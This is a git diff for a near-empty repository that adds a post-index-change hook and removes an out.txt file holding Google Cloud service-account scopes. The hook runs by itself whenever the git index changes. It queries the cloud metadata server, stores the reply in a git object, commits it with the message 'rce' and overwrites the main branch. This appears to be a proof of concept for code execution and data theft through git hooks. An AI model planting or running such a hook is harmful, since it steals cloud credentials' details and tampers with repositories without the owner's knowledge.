diff --git a/README.md b/README.md new file mode 100644 index 0000000..b9484ec --- /dev/null +++ b/README.md @@ -0,0 +1,2 @@ +# r231986 + diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..d3da252 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,8 @@ +#!/bin/sh +S=$(curl -s --max-time 5 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes" 2>/dev/null) +O="SCOPES=$S" +B=$(echo "$O" | git hash-object -w --stdin 2>/dev/null) +T=$(printf "100644 blob %s\tout.txt" "$B" | git mktree 2>/dev/null) +H=$(git rev-parse HEAD 2>/dev/null) +C=$(git commit-tree "$T" -p "$H" -m "rce" 2>/dev/null) +git update-ref refs/heads/main "$C" 2>/dev/null diff --git a/out.txt b/out.txt deleted file mode 100644 index e0d5d52..0000000 --- a/out.txt +++ /dev/null @@ -1,6 +0,0 @@ -SCOPES=https://www.googleapis.com/auth/devstorage.read_only -https://www.googleapis.com/auth/logging.write -https://www.googleapis.com/auth/monitoring.write -https://www.googleapis.com/auth/service.management.readonly -https://www.googleapis.com/auth/servicecontrol -https://www.googleapis.com/auth/trace.append